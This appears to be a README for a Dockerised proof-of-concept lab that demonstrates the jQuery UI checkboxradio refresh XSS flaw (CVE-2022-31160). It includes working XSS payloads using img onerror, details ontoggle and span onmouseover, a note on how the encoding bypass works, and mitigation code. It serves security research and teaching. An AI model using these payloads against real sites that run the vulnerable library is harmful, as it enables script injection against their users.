
jquery XSS Proof of Concept (PoC)
This project demonstrates the jQuery UI Checkboxradio Widget Refresh Vulnerability (CVE-2022-31160), which allows HTML entity decoding during widget refresh operations, potentially leading to Cross-Site Scripting (XSS) attacks.
⚠️ This project contains working XSS payloads for educational and research purposes only.
When a checkboxradio widget is initialized on an input enclosed within a label, calling .checkboxradio("refresh") on the widget causes HTML entities in the label content to be erroneously decoded. This can convert safely encoded malicious content into executable JavaScript.
<!-- Safe encoded content -->
<label for="checkbox">
Text <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
Text
<input type="checkbox" id="checkbox">
</label>
# Clone or navigate to the project directory
cd jquery-cve-2022-31160
# Build the Docker image
docker build -t jquery-cve-2022-31160 .
# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160
Once the container is running, access:
jquery-cve-2022-31160/
├── README.md # This documentation
├── Dockerfile # Docker container configuration
├── package.json # Node.js dependencies
├── server.js # Express.js server
└── simplified-survey.html # Survey-style demonstration
simplified-survey.html)URL: http://localhost:3000/survey
Features:
<img src=x onerror="..."> - Immediate execution<details ontoggle="..." open> - Immediate execution<span onmouseover="..."> - Interactive executionAnalysis Tools:
.checkboxradio("refresh") is called// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability
The demonstrations include various payloads to test different XSS execution methods:
<!-- Network Security: Error event XSS (Immediate execution) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- Cloud Security: Interactive XSS (User interaction required) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Hover to trigger]</span>
onerror)src=x)ontoggle)open attribute)onmouseover)Event Handler Advantages:
innerHTML<script> tag restrictionsontoggle) are highly reliableEncoding Bypass:
<, ") get decoded by jQuery UI refreshdocker build -t jquery-cve-2022-31160 .
# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160
# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160
# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# List running containers
docker ps
# Stop the container
docker stop jquery-cve-2022-31160
# Remove the container
docker rm jquery-cve-2022-31160
# Remove the image
docker rmi jquery-cve-2022-31160
This vulnerability can be exploited in applications that:
.checkboxradio("refresh") calls// Before refresh, sanitize or validate content
function safeRefresh(element) {
// Validate label content before refresh
const label = $(`label[for="${element.attr('id')}"]`);
const content = label.html();
// Check for potentially dangerous content
if (content.includes('<') || content.includes('javascript:')) {
console.warn('Potentially dangerous content detected');
return;
}
element.checkboxradio("refresh");
}
// Express.js security headers
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
This project serves as an educational resource for:
When using this demonstration:
Contributions are welcome! Please:
This software is provided for educational and research purposes only. The authors and contributors:
This project is provided under the MIT License for educational purposes.
Created for security research and education | Use responsibly | Report vulnerabilities through proper channels